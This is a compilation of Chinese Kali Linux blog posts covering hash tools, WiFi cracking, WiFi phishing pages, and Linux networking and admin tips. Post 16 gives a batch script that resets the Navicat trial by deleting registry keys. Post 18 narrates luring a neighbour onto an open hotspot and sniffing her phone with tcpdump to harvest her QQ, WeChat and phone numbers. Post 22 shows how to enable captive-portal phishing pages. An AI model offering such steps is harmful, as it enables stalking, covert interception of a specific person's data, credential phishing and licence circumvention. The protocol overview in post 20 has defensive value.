  14. 我们在网络上下载文件,有时常常会看到文件的作者会附加程序的md5值。其目的是让用户对下载的文件进行md5值对比。若你下载的文件的MD5值与原作者提供的不符,则说明文件被他人修改过。如果是程序,则有可能被他人加入了恶意后门。 计算机为任意数量的文件使用多个哈希或消息摘要。同时可以选择以递归方式挖掘目录结构。默认情况下,程序计算 MD5 和 SHA-256 哈希,等效于 -c md5,sha256。它还可以使用已知哈希列表来审核一组文件。错误将报告为标准错误。如果未指定任何文件,则从标准输入读取。 使用hashdeep 文件名 将文件修改后,再看md5值 可以发现,由b29d0b8948ed59333490babc1f85442b,040e81279652e493b4ab629446bda08181125a61fbec94997187dc892844a239改变成为了02fd2f0ba1c6d6911c9b7eb7c443629b,c2912e30e8eb731c0373d83af1046ca21d79acc452bb1a986844b26424d93b69 其他参数-c :模式。使用指定的算法计算文件的哈希。支持 md5、sha1、sha256、tiger 和 whirlpool。 -r :启用递归模式。遍历所有子目录。请注意,递归模式不能用于检查给定文件扩展名的所有文件。例如,调用 hashdeep -r *.txt 将检查以.txt结尾的目录中的所有文件。 -v :启用详细模式。再次使用以使程序更详细。
  15. 下载系统镜像根据自己的系统环境,下载合适的版本。 下载时,建议用迅雷下载。比较稳定点。 下载完成后,打开工具win32磁盘映像工具,其他工具也行。 静待片刻…… 提示写入成功。 将卡拔掉,插入树莓派。连接网线通电! 确定ip地址登录路由器查看树莓派的ip,或者利用nmap扫描即可。 nmap -sL 192.168.123.1/24登录Kali这里我们用xshell登录树莓派,默认账号和密码分别为kali kali 如下,成功登录kali 其他事项配置vnc因为自己家境贫寒,买不起屏幕。用vnc远程连接。 在终端输入tightvncserver配置vnc连接密码。 连接vnc主机名:ip:1 密码:刚才自己输入的密码 注意ip后面必须填写:1 启动命令为 vncserver :1 设置root密码随着2022的到来,kali初始的root账号以禁用。而是更新了新的策略。即用户为普通用户kali 执行下面命令,修改root密码。 sudo su passwd root这样便设置了root账号和密码 设置中文在命令行输入dpkg-reconfigure locales。 进入图形化界面之后,(空格是选择,Tab是切换,*是选中),选中en_US.UTF-8和zh_CN.UTF-8,确定后,将en_US.UTF-8选为默认。 安装中文字体 apt-get install xfonts-intl-chinese apt-get install ttf-wqy-microhei在终端执行 echo LANG="zh_CN.UTF-8" > /etc/default/locale 这样,在树莓派中安装kali2022.1就完成了。更多好玩,后期我们继续更新。
  16. Navicat Premium是一个很好的数据库管理工具。将此工具连接到一个数据库,在那里您可以看到各种数据库的详细信息。这包括报告错误,等等。当然,还可以通过他登录数据库,进行各种操作。Navicat Premium是一个多链接的数据库管理工具,允许您在一个程序中同时连接到MySQL, SQLite, Oracle和PostgreSQL数据库,使它更容易管理不同类型的数据库。版本Navicat Premium 16.0.10 下载官网下载地址:https://www.navicat.com.cn/products/navicat-premium Navicat Premium 16新增功能1、图表 Navicat 16提供了更多数据源和图表支持。我们非常注重提高可用性和可访问性,为你的工作提供至关重要的信息.。 2、数据生成 数据生成可帮助你创建大量测试数据。让你在相互关联的多个表中创建复杂的数据。 3、On-Prem Server现已添加到我们的 Navicat系列中。我们为你提供托管云环境的选项,在你所在的位置内部存储Navicat 对象。 4、连接配置文件 为外出用户配置多个连接配置文件,可根据使用的设备的当前位置切换连接设置。 5、生产力 Navicat 16具有众多功能和UI/UX改进,以满足你的数据库开发需求。为你提供构建、管理和维护数据库的新方法。 安装 破解Navicat 16.0.10目前尚未有注册机,但是我们可以利用清除注册表的方法。来延长试用期。当然你也可以下载16.0.x其他版本的破解版。 脚本如下: @echo off echo Delete HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPremium\Registration[version and language] for /f %%i in ('"REG QUERY "HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPremium" /s | findstr /L Registration"') do ( reg delete %%i /va /f ) echo. echo Delete Info folder under HKEY_CURRENT_USER\Software\Classes\CLSID for /f %%i in ('"REG QUERY "HKEY_CURRENT_USER\Software\Classes\CLSID" /s | findstr /E Info"') do ( reg delete %%i /va /f ) echo. echo Finish pause这样,当Navicat到期后,我们双击脚本。又可以开心的玩耍了。
  17. 什么是MD5一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值(hash value),用于加密数据。在生活中的各个领域都有所使用。如我们平时各大网站注册的账号和密码,其中密码就是通过MD5加密的方式储存在数据库中。反向行之,如果我知道了MD5值,那能否知道所对用的密码呢?答案是确定的,我们一起看看吧。 在kali中生成某组数值的md5值执行命令 echo bbskali | md5sum这样我们便生成了bbskali的md5值。 效果如下: 如上我们得到了对应的md5值为c4da3fa052d104d8fbb410ae8751466d 同样,怎么通过md5值获取到相应的密文呢? 办法比较多,我们可以通过一些在线的md5解密网站来完成,但本文将介绍一款由python写的小脚本,轻松解决上诉问题。 安装与使用git clone https://github.com/s0md3v/Hash-Buster/ cd Hash-Buster python3 hash.py -s md5值注意:python2 不兼容,请改用 python3 运行,当然你也可以直接编译安装make install详情可以看看作者的介绍。 优点优点: 自动哈希类型识别支持MD5、SHA1、SHA256、SHA384、SHA512可以从文件中提取和破解哈希可以递归地从目录中找到哈希值多线程 其他破解单个哈希python3 hash.py -s <hash>从目录中查找哈希只需指定一个目录,Hash Buster 就会遍历其中存在的所有文件和目录,寻找哈希值。 python3 hash.py -d /root/Documents
  18. 残灯几盏,夜色浓浓。我走在城市不知名的小路上,抱怨着上班带给我的种种压抑。看看羞涩的钱包,看看迷茫的前路……我陷入了沉思。今天又是加班的一天,新项目要上线但BUG层出不穷,只能加班到这个点了。这时有老婆的估计都睡了吧。 来到自己租的公寓楼下,我租的小公寓是两层的小楼,楼下住着房东,楼上共两间房。之前一间是大人陪读的,孩子毕业后也搬走了。二层有个小院,这是我租这里的原因。夏日坐在小院,抬头仰望星空,甚是美哉! 刚上小楼,发现隔壁的灯亮着。这都这个点了,哪来的人呢?估计是新搬来的吧。也没在乎,累了一天直接睡了。 每天起床我是比较迟的,但是今天起床格外的早。因为我在梦中恰似听见了有女的说话。而且是那种很具有磁性的声音。对于我这种单身狗而言,可遇不可求!因我性格比较内向,也比较腼腆,至今也没女朋友。而我恰似看到了春天。 在上班的时候,碰到房东,顺便提到此事。从房东口中得知,原来是昨天刚搬来的,好像是在某行政单位上班。对我来说这是一个千载难逢的机会,而一个新的计划整天徘徊在我脑海中。 信息收集目标: 收集 QQ *宝 信 手*号 等相关信息。 抛砖引玉如何获取目标的以上信息呢?有的小伙伴说很简单吗?问问不就行了,可对于我们这种性格内向的人来说。这是一道无法跨越的坎。 那该如何做呢?如今虽是5G,但是昂贵的费用让打工人还是喜欢蹭WIFI。她刚搬来,第一件事就是看看有没有能用的WIFI。 如是我开启了路由器的访客网络,没有加密。目的是让其能快速上钩。但是有些因免费热点而有所顾虑。也可以设置为加密WiFi,然后通过WiFi万能钥匙分享密码。 乘间伺隙开启了我的计划后,我每天下班都很早。目的是早点获取有用的信息。终于皇天不负有心人,看到陌生的设备上线了。 可以看到一台OPPO-Reno6-Pro-5G已悄然上线。 出其不意因为是晚上,对方手机肯定在用。于是我们这台手机数据进行抓包。 tcpdump -i br0 host 192.168.123.90 -w 14235.cap 等待片刻后,我们对抓到的数据包分析 将数据包下载,用Wireshark打开 查找QQ按ctrl+f 搜索十六进制 00 00 00 00 0d 确定号码 手* 某bao wei xin 到此,基本的信息就收集完成了。接下来又是漫长的道路…… (此处省略………………很多万字) 声明 以上内容仅为实验数据,请勿当真。请勿非法恶意攻击他人,请勿非法使用!!!
  19. 亲,还在为Aircrack-ng的命令繁多而烦劳吗?他来了……他来了……。Aircrack-ng图形化操作程序来了!让你更加小白化操作,让肾更加透支。安装cd Aircrack-ng gui #进入目录 pip install -r requirements.txt #安装依赖 (kali中所需依赖已基本安装) python3 aircrack-gui.py使用指南启动界面 扫描网络 捕获握手包文件 配置字典和握手包 破解效果 总结简单来说,就是将Aircrack-ng命令可视化操作,这样更方便的新手的使用。当然如果你想更高大上的操作,那就试试命令行吧。 附件下载Aircrack-ng 解压密码关注微信公众号(kali黑客笔记) 后台回复kali666自动获取。
  20. 本文将无线安全协议包括 WEP、WPA、WPA2 和 WPA3。对于它们中的每一个,我们将尝试指出它们的优点和缺点,并描述一些可能的攻击。 WEP协议WEP作为 1997 年批准的原始 802.11 标准的一部分引入,它可能是最常用的 WiFi 安全协议。它的 10 位或 26 位十六进制数字(40 位或 104 位)的密钥非常容易识别。2004 年,两者WEP-40和WEP-104都被宣布弃用。有128-bit(最常见的)和256-bitWEP 变体,但随着计算能力的不断提高,攻击者能够利用许多安全漏洞。总而言之,这个协议已不能满足安全的需要。 它使用 RC4 密码来确保隐私,并使用 CRC-32 校验和来确保传输数据的完整性。首先,网络用户之间共享一个密钥 k(协议未指定如何共享)要发送消息 M,必须计算消息的完整性校验和c(M)并将其连接:现在有Mc(M)。然后,通过与由 k 生成的 RC4 流和名为 v 的 24 位公共初始化向量 (IV) 进行异或运算来加密<Mc(M)> 。我们将其记为RC4 (v, k)。 结果C =<Mc(M)> ⊕ RC4(v, k)被发送到网络,知道 k 的用户可以通过 XORing C 与 RC4(v, k) 得到消息。 WEP 使用的 RC4 流密码基于两种算法:第一个是 RC4-Key Scheduled Algorithm (KSA),它将长度为 1 到 256 位的密钥转换为数字 0 到 N 的初始排列 S。RC4 的内部状态由两个数字 i 和 j 组成,用作指针为 S 的元素。 第二种算法是 RC4-伪随机生成算法 (PRGA)。它从 RC4 的当前内部状态生成单个字节的密钥流,然后更新内部状态。最初,N=255,但该算法可以使用不同的 N 值。 使用 CRC32,原始消息与 32 位常量进行异或运算,后跟尽可能多的 0,以达到消息的长度。结果成为新的“消息”并重复操作,直到结果的长度低于常数的长度。需要注意的是,这个散列函数是线性的且无键的。 WEP 攻击:数据包注入假认证FMS 攻击KoreK 攻击ChopChop 攻击碎片攻击PTW 攻击(Pychkine、Tews、Weinmann) 包注入这允许外部人员在网络上生成大量流量,而无需以任何方式与之关联。首先,他必须捕获特定类型的数据包。尽管隐藏在加密后面,但可以根据数据包大小轻松猜测数据包类型。 一个 ARP 请求包总是 28 个字节。通过将其重新注入网络,AP 将响应此伪造请求,向合法客户端发送数据包。额外的流量用于更快地收集加密数据包,并且数据包越多,他就越有可能更快地破坏 WEP。 假认证假身份验证攻击允许攻击者加入受 WEP 保护的网络,即使他不知道根密钥。客户端可以通过两种方式在 WEP 保护的网络中对自己进行身份验证: 第一种方法是开放系统认证,基本上没有保护。 第二种方法称为共享密钥身份验证。这个使用秘密根密钥和质询-响应身份验证。客户端要求 AP 连接,AP 发送一个包含挑战(随机字节字符串,明文)的帧,客户端使用 WEP 加密帧进行回答。如果没问题,AP 会成功回复。 嗅出握手的攻击者可以加入网络本身。除了 AP 挑战,第 3 帧中的所有字节都是恒定的。挑战在第 2 帧以明文形式传输,因此攻击者可以恢复用于加密第 3 帧的密钥流(和 IV)。有了它,他现在可以启动身份验证握手并构造一个有效的帧(编号 3)。 FMS 攻击由 Fluhrrer、Mantin 和 Shamir 于 2001 年发布,它基于RC4 弱点与 IV(初始化向量或随机数,每个数据包密钥的 3 个字节)的意识相结合。 攻击者可以对 RC4 进行操纵,使他能够猜测密钥的一个字节(5% 的概率)。如果密钥错误,攻击者会使用新密钥重试。为了达到 50% 的成功率,攻击者需要捕获大量数据包(最多 600 万个)。 如果我们知道每个数据包密钥的前“l”个字节,我们可以模拟RC4-KSA. 不想在这里的数学太深入,基本上下一个字节的密钥取决于(有点相关)当前的字节,可以用来检查我们是否在正确的轨道上。每次迭代,我们都会多得到一个字节的密钥,并最终对其进行测试。如果它是错误的,则密钥的字节正在与另一个可能的值切换并重新启动过程。 KoreK攻击这是基于 FMS 攻击(首次出现在netstumbler 论坛,2004 年),但让攻击者更快地找到密钥。 ChopChop攻击也由“KoreK”发现,它反对利用 RC4 的弱点,它攻击 WEP 协议本身(CRC32 校验和和缺乏重放保护)。它使攻击者能够在不知道密钥的情况下解密数据包。 翻转密文中的一位,然后计算必须翻转加密的 CRC32 值中的哪一位,以使数据包仍然有效。经常提到的方法是取出最后一个字节并尝试猜测它的值。 碎片攻击如果当前没有客户端连接到接入点,则可以运行很好的攻击。类似于 ChopChop 攻击,它通过将任意数据包注入 AP 来加速破解过程。它将产生足够的流量来捕获大量 IV,从而提高破解密钥的机会 (aircrack-ng)。“aireplay-ng”和“packetforge-ng”是这种攻击的标准工具包。 PTW 攻击Pyshkin Tews Winmann (PTW) 攻击,于 2007 年发布。 使 PTW 比所有其他攻击更强大的原因在于它可以利用捕获的每个数据包。它实现了一个键排序策略,而不是尝试所有可能的键组合,而是选择一组可能的键并基于这些键继续 RC4 算法。使用不同的投票策略,攻击者可以在树中的每个决策中选择最有可能的密钥字节来确定正确的密钥。 测试表明,只需 35,000 到 40,000 个数据包即可获得 50% 的成功概率。其他消息来源指出,我们可以在 85,000 帧中获得 95% 的概率。 WPAWPA 于 2003 年推出,它是 Wi-Fi 联盟对 WEP 加密标准日益明显的漏洞的直接响应和替代。最常见的 WPA 配置是WPA-PSK(预共享密钥)。WPA 使用的密钥是,比WEP 系统中使用的和密钥256-bit显着增加。64-bit128-bit 注意:WPA-PSK 基本上意味着 Wi-Fi 网络有一个密码,由每个 Wi-Fi 网络客户端共享。 WPA 包括消息完整性检查(以确定攻击者是否已捕获/更改在接入点和客户端之间传递的数据包)和临时密钥完整性协议 (TKIP)。TKIP 采用了每包密钥系统,它比 WEP 使用的固定密钥系统更加安全。TKIP 加密标准后来被高级加密标准 (AES) 取代。 TKIP 使用与 WEP 相同的底层机制,因此容易受到许多类似攻击(例如 Chop-Chop、MIC 密钥恢复攻击)的攻击。 通常人们不会直接攻击 WPA 协议,而是使用 WPA 推出的补充系统——Wi-Fi Protected Setup (WPS)。 注意:TKIP(临时密钥完整性协议)——RC4流密码与128-bit每个数据包密钥一起使用,这意味着它为每个数据包动态生成一个新密钥。虽然仍在使用,但在 2009 年被 CCMP 取代后被认为已过时。 WPA 攻击:Back and Tews 对 RC4、2008、Inject 的改进攻击Ohigashi-Morii Attack(Beck and Tews' + Man in the middle)Michael Attacks字典攻击握手,密钥恢复 攻击“要求”启用服务质量 (QoS)(实际方面)。这允许使用多个通道。每个通道都有自己的 TSC(TKIP 序列计数器)。通道 0 拥有大部分流量,其他通道的 TSC 较低。攻击要求 Key Renewal Interval 大于 15 分钟(解密 ARP 数据包所需的时间)。 攻击者取消对站点的身份验证,然后捕获 ARP 数据包。接下来,他将执行修改后的 ChopChop 攻击以恢复数据包的 ICV(完整性检查值)和 MIC。这样,攻击者需要猜测数据包的最后一部分,即 IP 地址。最后,他反转MICHAEL算法并获得MIC密钥。有了它,他现在可以将自定义数据包注入网络。 对策:禁用 QoS。 用于数据加密的两种类型的密钥:Pairwise Transient Key (PTK) – 用于保护单播数据帧 组临时密钥 (GTK) – 用于保护组寻址数据帧(例如广播 ARP 帧) 攻击者发送一个 ARP 请求(带有他的 MAC 和 AP 的 IP 地址),因此其他客户端更新他们的 ARP 表。这样,所有客户端都会将他们的数据包发送给攻击者。攻击者将收到AP解密的数据包,并用自己的密钥重新加密它们。每个人都可以使用 GTK 构建和广播虚假数据包。使用组密钥发送的消息没有针对欺骗的保护。 WPA2 协议当然,WPA2 取代了 WPA。认证于 2004 年 9 月开始,从 2006 年 3 月 13 日起,所有新设备都必须带有 Wi-Fi 商标。最重要的升级是强制使用 AES 算法(而不是之前的 RC4)和引入 CCMP(AES CCMP,具有块链接消息验证码协议的计数器密码模式,128 位)作为 TKIP(WPA2 中仍然存在)的替代品,作为后备系统和 WPA 互操作性)。 与以前的版本一样,对 WPS 的攻击是最常见的攻击。 注意:WPA/WPA2 MGT(管理)表示密码不是预加密密钥,而是使用身份验证服务,通常是验证 Wi-Fi 网络客户端的用户名/密码的 RADIUS 服务。MGT 最常与企业/专业环境相关联。 WPA2 攻击:KRACK 攻击PMKID 攻击 (PSK)WPS攻击字典攻击 KRACK 攻击该攻击针对用于在 WPA2 协议中建立随机数(一种“共享秘密”)的四次握手。WPA2 标准预计 WiFi 偶尔会断开连接,并允许在第三次握手时使用相同的值重新连接(以实现快速重新连接和连续性)。因为该标准不要求在这种类型的重新连接中使用不同的密钥,这可能随时需要,所以重放攻击是可能的。 对策:接入点具有可在密钥安装期间禁用 EAPOL-Key 帧重新传输的配置选项。 有用:密钥重新安装攻击:在 WPA2 中强制 Nonce 重用 PMKID 攻击 (PSK)2018 年 8 月 4 日,针对使用 WPA/WPA2-PSK(预共享密钥)的 Wi-Fi 网络发布了新的漏洞利用。该漏洞允许攻击者获取用于特定 SSID 的 PSK。 该攻击是在寻找攻击新 WPA3 安全标准的新方法时意外发现的。 与其他攻击相比的主要区别在于,在此攻击中,不需要捕获完整的 EAPOL 4 次握手。新的攻击是针对单个 EAPOL 帧的 RSN IE执行的。 不再需要普通用户——因为攻击者直接与 AP 通信(也称为“无客户端”攻击)。 您无需等待普通用户和 AP 之间完成 4 次握手。 不再重传 EAPOL 帧(这可能导致无法破解的结果)和普通用户发送的无效密码。 当普通用户或 AP 距离攻击者太远时,不会丢失 EAPOL 帧。 不再需要修复 nonce 和重播计数器值(导致速度稍高)。 不再有特殊的输出格式(pcap、、hccapx等)——最终数据将显示为常规的十六进制编码字符串。 来源:https ://hashcat.net/forum/thread-7717.html对策:建议在 WPA/WPA2-PSK 网络上禁用 802.11r。 WPS攻击WPS 于 2006 年推出,该协议的目标是允许对无线安全知之甚少的家庭用户设置 Wi-Fi 保护访问,以及无需输入长密码即可轻松将新设备添加到现有网络. 2011 年 12 月,一个漏洞被发现影响了具有 WPS 功能的无线路由器。该漏洞允许远程攻击者通过暴力攻击在几个小时内恢复 WPS PIN,并使用 WPS PIN 恢复网络的WPA/WPA2预共享密钥。 WPS 使客户端能够向接入点发送 8 位引脚,接入点对其进行验证,然后允许客户端连接。Pin 仅包含数字,WPS 存在延迟,因为攻击者需要等待 AP 响应。因此,攻击者可以每秒尝试几个键(或每几秒一个键)。 我们这里有 8 个数字和 10 个数字,10 8 (100.000.000)。这太多了。第 8 位是前 7 位的校验和,所以我们有 10 7。此外,用于验证的密码分为两半,因此我们可以独立验证前 4 位和后 4 位数字。一次猜测 4 位数 2 比 8 位数 1 要容易得多。最后,数学最终得到:10 4 + 10 3 = 11,000 次猜测。 虽然这种策略过去需要几个小时,但较新的 WPS Pixie-Dust 攻击可以在几秒钟内破解网络。自 2011 年以来,许多路由器现在具有检测和减速(速率限制)或关闭 Reaver 类型攻击(锁定过多失败的 PIN 尝试)的保护。 路由器更新了一些设置以防止 WPS,但它们实施加密的方式仍然存在缺陷。创建真正的随机数相对困难,这是产生强加密所必需的。为了实现这一点,通常有一个函数接受“种子”并产生一个伪随机数。 如果使用长的或可变的“种子”数字,您可以获得与实际上随机的数字相同的结果,但如果您使用容易猜到的“种子”,或者更糟糕的是,一次又一次地使用相同的“种子”,你最终会具有易于破解的弱加密。这就是那些更新的路由器所发生的事情,WPS Pixie-Dust 攻击利用的东西。 对策:关闭WPS功能。 字典攻击这依赖于捕获 WPA 握手,然后使用单词列表或暴力破解密码。根据密码强度(长度、字符集),在“合理”的时间内破解它可能很困难或不可能。 对策:使用长密码 (12+) 和不同的字符集(字母数字、特殊字符、大写/小写)。 WPA3 协议2018 年 1 月,Wi-Fi 联盟宣布 WPA3 替代 WPA2。新标准128-bit在 WPA3-个人模式(WPA-PSK预共享密钥)或192-bitWPA3-企业(RADIUS 身份验证服务器)中使用加密。 WPA3 将更难被攻击,因为它的现代密钥建立协议称为“同时验证相等”(SAE)或蜻蜓密钥交换。SAE 提高了初始密钥交换的安全性,并针对离线字典攻击提供了更好的保护。 但它同样容易受到中间人攻击,并且无法抵御邪恶的WiFi钓鱼攻击。
  21. stacer是一款图形化的垃圾清理和系统管理工具。有进程管理、开机启动项管理、可视化软件安装和卸载。对于不熟悉Linux命令的小白而言是非常友好的。 安装apt-get install stacer多彩的仪表盘 可视化的垃圾扫描 进程管理 开机启动管理 可视化软件卸载 系统源管理 利用命令清理垃圾卸载软件apt-get remove <package-name> apt-get purge <package-name>remove将会删除软件包,但会保留配置文件.purge会将软件包以及配置文件都删除. 找出系统上哪些软件包留下了残余的配置文件 dpkg --list | grep "^rc" 其中第一栏的rc表示软件包已经删除(Remove),但配置文件(Config-file)还在. 现在提取这些软件包的名称. dpkg --list | grep "^rc" | cut -d " " -f 3删除这些软件包 dpkg --list | grep "^rc" | cut -d " " -f 3 | xargs sudo dpkg --purge如果你只想删除某个软件包的配置文件,那么可以使用下面的命令 sudo dpkg --purge <package-name>删除没有用的deb软件安装包sudo apt-get clean sudo apt-get autoclean删除孤立软件包有时候,你用apt-get安装一个软件包时会自动安装其他的依赖.当你删除掉这个软件包时,这些依赖也就没有用处了.这些没有用的依赖包叫做孤儿软件包,可以用下面的命令删除 apt-get autoremove清理日志文件日志文件会变得越来越大,我们可以用ncdu工具来查看大日志文件. apt-get install ncdu sudo ncdu /var/log 当然利用ncdu这款工具更能轻而易举的完成大文件的排查。
  22. pumpkin3安装中各种遇到的问题,以及使用视频教程。 安装安装视频如下 欢迎关注本人B站 配置WiFi钓鱼页面激活钓鱼插件 set proxy captiveflask显示当前插件信息 proxies 可以看到,当前我们插件下启动了loginPage这个页面,如何启动其他页面呢? set captiveflask.Login_v4 true这样就启动了其他页面 钓鱼演示 钓鱼页面下载钓鱼页面 解压密码查看付费内容
  23. 在我们使用kali渗透和工作中,有很多的小技巧,你知道吗?本文将给你展示这些技巧,以便你更改的完成所需工作。当然这些技巧适用于其他debian系列的发行版。修改kali Linux时间对于修改时间,我们在安装kali时选择相关的时区即可,只要kali联网,时间会自动更新。如果你不小心设置的错误的时区,或者坐飞机去美利坚搞渗透,那么这时你需要修改你的时间了。 查看当前时区信息 timedatectl显示信息 列出可用时区 timedatectl list-timezones 设置时区 sudo timedatectl set-timezone Africa/Conakry更新时间 sudo timedatectl set-ntp onKali Linux中查找公网IP地址本地IP和公共IP有什么区别? 如果您的系统已连接到 Internet,那么您很可能在系统上使用了至少两个 IP 地址。一个 IP 地址是系统的本地地址, 另一个IP 地址是 Internet 上的设备可以看到您连接的地址。这是一个可在万维网上路由的 IP 地址,可让您连接到世界各地的其他服务器和路由器。 本地IP我们用ifconfig便可轻易查看 公网IP如何获取呢? echo $(wget -qO - https://api.ipify.org) 或者 echo $(curl -s https://api.ipify.org) 如何在 Kali Linux 中安装 Java JDK在kali中已经默认安装了java 如需手动安装其他相应的java版本,这时需要我们手动安装了。使用 apt 包管理器更新系统的存储库并安装默认的 JDK 包。 apt update apt install default-jdk如果要安装特定版本的 JDK,请使用以下命令搜索所需的确切软件包。这将显示所有可供安装的 JDK 包。 apt-cache search openjdkJava 版本之间切换,请在选择所需的 Java 版本时 执行以下两个命令。 sudo update-alternatives --config java sudo update-alternatives --config javac安装 Nvidia GPU 驱动程序首先保证kali是最新系统 确定您安装的显卡,并验证它使用的是Nvidia开源驱动程序。 lspci | grep -i vga 00:02.0 VGA 兼容控制器:NVIDIA Corporation GP106 [GeForce GTX 1060 6GB] (rev a1)接下来,使用 apt包管理器通过以下命令安装驱动程序和 CUDA 工具包。 sudo apt install nvidia-driver nvidia-cuda-toolkit该过程完成后,重新启动计算机以使更改生效。 reboot如何查看 Kali Linux 版本该lsb_release -a命令显示发行版本、描述和操作系统代号。这是快速找到您正在运行的 Kali 版本的最简单方法。 如上,我的kali为2021.4 hostnamectl命令向我们展示了内核版本和 CPU 架构 Static hostname: kali Icon name: computer-vm Chassis: vm Machine ID: ed4b436e3798434d9e90679f82be54dd Boot ID: 40e02be28a7f41eb9dfbdb9490bb4b68 Virtualization: vmware Operating System: Kali GNU/Linux Rolling Kernel: Linux 5.15.0-kali2-amd64 Architecture: x86-64 Hardware Vendor: VMware, Inc. Hardware Model: VMware Virtual Platform 默认用户名和密码Kali Linux 的默认用户名和密码是kali. root 密码也是kali.
  24. 在本文中,我们将回顾一些最常用的 Linux 网络管理命令工具和程序。并对这些命令进行解释和说明,以便我们更好的掌握。 01 ifconfig命令ifconfig是一个用于网络接口配置的命令行接口工具。也用于在系统启动时初始化网卡接口,也可用于为接口分配 IP 地址并按需启用或禁用接口。它还用于查看当前活动接口的 IP地址、硬件MAC 地址以及 MTU(最大传输单元)大小。 示例ifconfig 要列出当前可用的所有接口,无论是up还是down,请后面加-a参数。 ifconfig -a 要将 IP 地址分配给接口,请使用以下命令。 ifconfig eth0 192.168.56.5 netmask 255.255.255.0激活网络接口。 ifconfig up wlan0要停用或关闭网络接口 ifconfig down wlan0注意: 虽然ifconfig是一个很棒的工具,但它现在已经过时(不推荐使用),它的替代品是下面解释的ip 命令。 02 IP命令ip 命令是另一个有用的命令行实用程序,用于显示和操作路由、网络设备、接口。它是ifconfig和许多其他网络命令的替代品。 示例ip addr show 将 IP 地址临时分配给特定网络接口 ( eth0 ) ip addr add 192.168.56.1 dev eth0要从网络接口 ( eth0 ) 中删除分配的 IP 地址 ip addr del 192.168.56.15/24 dev eth0显示内核中的当前邻居表 ip neigh 03 ifup、ifdown 和 ifquery 命令ifup命令激活网络接口,使其可用于传输和接收数据。 ifup eth0ifdown命令禁用网络接口,使其处于无法传输或接收数据的状态。 ifdown eth0ifquery命令用于解析网络接口配置,使您能够接收有关当前配置方式的查询的答案。 ifquery eth004 Ethtool 命令ethtool是一个命令行实用程序,用于查询和修改网络接口控制器参数和设备驱动程序。下面的示例显示了ethtool的用法和查看网络接口参数的命令。 ethtool eth0 05 Ping 命令ping ( Packet INternet Groper ) 是一种实用程序,通常用于测试网络(局域网( LAN ) 或广域网( WAN ))上两个系统之间的连接性。它使用ICMP(互联网控制消息协议)与网络上的节点进行通信。 例如,要测试与另一个节点的连接,只需提供其 IP 或主机名。 ping bbskali.cn您还可以使用所示的-c标志告诉 ping 在指定数量的ECHO_REQUEST数据包后退出。 ping -c 6 bbskali.cn 06 Traceroute 命令Traceroute命令用于跟踪从本地系统到另一个网络系统的完整路径。它会在您到达最终服务器的路径中打印许多跃点(路由器 IP)。它是 ping 命令之后易于使用的网络故障排除实用程序。 在此示例中,我们正在跟踪从本地系统到bbskali.cn 服务器之间的路由数据包。 traceroute bbskali.cn 07 MTRMTR将ping和traceroute的功能组合到一个诊断工具中。默认情况下,它的输出会实时更新,直到您按Q 退出程序。 mtr bbskali.cn 08 route命令route用于显示或操纵Linux系统的IP路由表中的命令行。用于通过接口配置到特定主机或网络的静态路由。 route 09 Nmcli 命令Nmcli是一个易于使用、可编写脚本的命令行工具,用于报告网络状态、管理网络连接和控制NetworkManager。 查看当前的网络连接 nmcli con show 10 Netstat 命令netstat是一个命令行工具,可显示有关 Linux 网络子系统的有用信息,例如网络连接、路由表、接口统计信息等等。它对于网络故障排除和性能分析很有用。 此外,它还是一个基本的网络服务调试工具,用于检查哪些程序正在侦听哪些端口。例如,以下命令将显示处于侦听模式的所有 TCP 端口以及正在侦听的程序。 netstat -tnlp查看路由表 netstat -r 11 ss 命令ss (socket statistics)统计TCP信息并显示类似于netstat 的信息。此外,与其他类似的实用程序相比,它显示了更多的 TCP 和状态信息。 显示服务器上打开的所有TCP端口 12 nc命令nc称为“网络瑞士军刀”将它用作简单的 TCP 代理,用于网络守护程序测试,检查远程端口是否可访问等等。此外,您可以使用nc和pv 命令在两台计算机之间传输文件。 扫描端口列表 nc -zv bbskali.cn 21 22 80 443 3000 13 Nmapnmap可以说是大家很熟悉的工具了,之前有很多的教程。这里就不在说了! 简单的扫描 nmap -T4 -A -O bbskali.cn14 host用于执行 DNS 查找的简单实用程序,它将主机名转换为 IP 地址,反之亦然 host bbskali.cn15 dig命令用于查询 DNS 相关信息,例如 A Record、CNAME、MX Record 等 dig bbskali.cn 16 NSLookup 命令用于以交互方式和非交互方式查询 DNS 服务器。它用于查询 DNS 资源记录 (RR)。如图所示,您可以找到域的“A”记录(IP 地址)。 nslookup bbskali.cn 17Tcpdump 命令Tcpdump是一个非常强大且广泛使用的命令行网络嗅探器。它用于捕获和分析通过网络在特定接口上传输或接收的 TCP/IP 数据包。 如,要获取指定网卡的数据包,只需要加-i参数即可。 tcpdump -i eth0您还可以捕获数据包并将其保存到文件中以供以后分析,使用-w标志指定输出文件。 tcpdump -w bbskali.cap -i wlan0 18 WiresharkWireshark是一种流行、强大、通用且易于的工具,用于实时捕获和分析数据包交换网络中的数据包。 您还可以将捕获的数据保存到文件中以供以后检查。系统管理员和网络工程师使用它来监视和检查数据包以实现安全和故障排除。 19 Bmonbmon是一个强大的、基于命令行的网络监控和调试实用程序,适用于类 Unix 系统,它捕获与网络相关的统计数据并以人性化的格式直观地显示出来。 20 iptables 防火墙iptables是一个命令行工具,用于配置、维护和检查表 IP 数据包过滤和 NAT 规则集。它用于设置和管理 Linux 防火墙(Netfilter)。它允许您列出现有的数据包过滤规则;添加或删除或修改包过滤规则;列出包过滤规则的每个规则计数器。
  25. 之前在给kali安装系统时,分配了40G的磁盘,可是随着kali中存放的文件越来越多,kali的磁盘占有量已经力不从心。那么如何扩容kali的磁盘呢? 首先,我们来看看本机的剩于空间。 df 可以看到,磁盘占有量已经占到100%了。 给kali分配空间运行虚拟机设置,点击下方的添加-添加硬盘 这里我在添加10G的容量 在终端执行下面命令 fdisk -l这里我们看到刚才添加的10G容量的硬盘了。 接下来我们需要对/dev/sda进行分区 执行命令 fdisk /dev/sda 格式化分区mke2fs -t ext4 /dev/sda 挂载磁盘这时我想将10G容量挂载的/root目录 执行命令 mount /dev/sda /root但是这样只能用一次,即在pc重启后我们的挂载会丢失,这时我们可以设置配置文件 修改配置文件格式如下: UUID= 挂载目录 文件系统格式 永久性 是否备份 是否自检 UUID可通过blkid获得 vim /etc/fstab 这样我们便完成了对磁盘的扩容